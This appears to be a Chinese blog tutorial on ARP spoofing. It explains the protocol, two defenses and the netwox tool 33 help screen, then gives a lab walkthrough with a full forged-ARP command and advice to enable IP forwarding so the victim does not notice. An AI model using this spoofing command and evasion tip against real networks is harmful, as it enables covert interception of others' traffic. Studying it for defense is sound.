欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ARP欺骗

程序员文章站 2022-05-16 21:26:58
...

一、首先我们得清楚ARP是什么东西?

ARP通常就是我们认为的ARP协议,也就是地址转换协议,工作在OSI模型的数据链路层,用来把IP地址转换为MAC地址的,而RARP与ARP相反,是反向地址转换协议,把MAC地址转换为IP地址。在以太网中,网络设备之间互相通信是用MAC地址(可以理解为姓名)而不是IP地址(名片)。

二、APR协议工作原理

我们可以假设一个场景,A需要和餐厅里找B,那么A就要向服务员D(即网关)询问B在哪并将自己的名片和姓名给服务员D,服务员D就记录在自己的本子上(即ARP表)并通过A的姓名去问所有人(即广播),当服务员D找到B后将A信息告诉B,B知道后将自己的MAC地址和IP地址给服务员D,服务员D有记录下B的MAC地址和IP地址后回去告诉A。

三、ARP欺骗原理

根据上面的例子,我们在升级一下,假设C是攻击者,那么整个过程C无论如何是不知道的,那怎么样才能让C知道呢?伪装和欺骗,C伪装成服务员D让A将信息告诉自己后(ARP协议有个缺点就是后者的会掩盖前者),在伪装成A告诉服务员D,我是A要找B,这时候服务员D把C当作是A继续上面的工作去找B,得到B信息回来后,把信息告诉C后,C就知道其中的信息了并告诉A,注意这里的本子(ARP表)的信息内容改变了的,这就是ARP双向欺骗。

单向欺骗就是A和C说,C直接和B说,而服务员D也有A的信息,但是A不去找服务员D,而是找主动的C,俗话说主动才有故事嘛!

注意:在这里我们用的自己的MAC地址,别人的IP地址

四、ARP欺骗防御

那我们怎么防御呢?
1、我们可以将本子(ARP表)的信息写死(即静态写入MAC地址与IP地址关系)这样A就不会让C有机可乘了!

2、下载杀毒软件

五、工具

我们可以使用netwox工具集里面的33号工具

################# help for tool number 33 ##################
Title: Spoof EthernetArp packet
+------------------------------------------------------------------------+
| This tool sends a fake packet on the network.                          |
| Each parameter name should be self explaining.                         |
|                                                                        |
| This tool may need to be run with admin privilege in order to spoof.   |
+------------------------------------------------------------------------+
Synonyms: frame, hping, mac, send
Usage: netwox 33 [-d device] [-a eth] [-b eth] [-c uint32] [-e uint32] [-f eth] [-g ip] [-h eth] [-i ip]
Parameters:
 -d|--device device             device for spoof {Eth0}	硬件类型	
 -a|--eth-src eth               Ethernet src {00:0C:29:EB:02:A3} 发送方MAC地址
 -b|--eth-dst eth               Ethernet dst {0:8:9:a:b:c} 接收方MAC地址
 -c|--eth-type uint32           Ethernet type : ARP=2054, RARP=32821 {2054} 协议类型
 -e|--arp-op uint32             ARP op : 1=ARPREQ, 2=ARPREP, 3=RARPREQ, 4=RARPREP {1} 操作类型
 -f|--arp-ethsrc eth            ARP ethsrc {00:0C:29:EB:02:A3} 发送方MAC地址
 -g|--arp-ipsrc ip              ARP ipsrc {0.0.0.0} 发送方IP地址
 -h|--arp-ethdst eth            ARP ethdst {0:0:0:0:0:0} 接收方MAC地址
 -i|--arp-ipdst ip              ARP ipdst {0.0.0.0} 接收方IP地址
Example: netwox 33
Press 'r' or 'k' to run this tool, or any other key to continue 

后面的选项可以对照ARP报文使用
ARP欺骗

六、例子

攻击者

MAC地址:00:0c:29:eb:02:a3
IP地址:192.168.111.129

A主机:

MAC地址:00:0C:29:F3:62:57
IP地址:192.168.111.128

B主机:

MAC地址:00-0C-29-68-9b-47
IP地址:192.168.111.130

1、首先我们要明确攻击的是A,然后攻击机分别ping通A和B,得到A和B的IP地址和MAC地址。
ARP欺骗

arp欺骗之前要选择是否开启IP路由转发,如果不开启,欺骗成功之后,目标主机会断网,这样会被对方察觉,所以想让对方断网可以不开启,而只是看看通信信息那就必须开网!!!

查看路由转发功能:cat /proc/sys/net/ipv4/ip_forward
1为打开,0为关闭

2、然后我们使用工具netxow的33号工具编辑如下语句:

aaa@qq.com:~# netwox 33 -b 00:0C:29:F3:62:57 -g 192.168.111.130 -h 00:0C:29:F3:62:57 -i 192.168.111.128

注意:在这个包里改变的是发送方的MAC地址,即我们的MAC地址,其他不变

3、攻击成功后得到的报文:ARP欺骗
4、攻击前A主机ARP表
ARP欺骗
5、攻击后A主机ARP表
ARP欺骗

七、总结

提醒一下网络安全方面有很都工具可以进行渗透和攻击,甚至可以自己编写,只要原理明白,任何的工具只是铺助而已。

温馨提示:学习安全攻击是为了保护我们,而不是让我们去攻击别人来满足自己,千万不要触犯法律底线,我们应该做个白客或者是红客,而不是骇客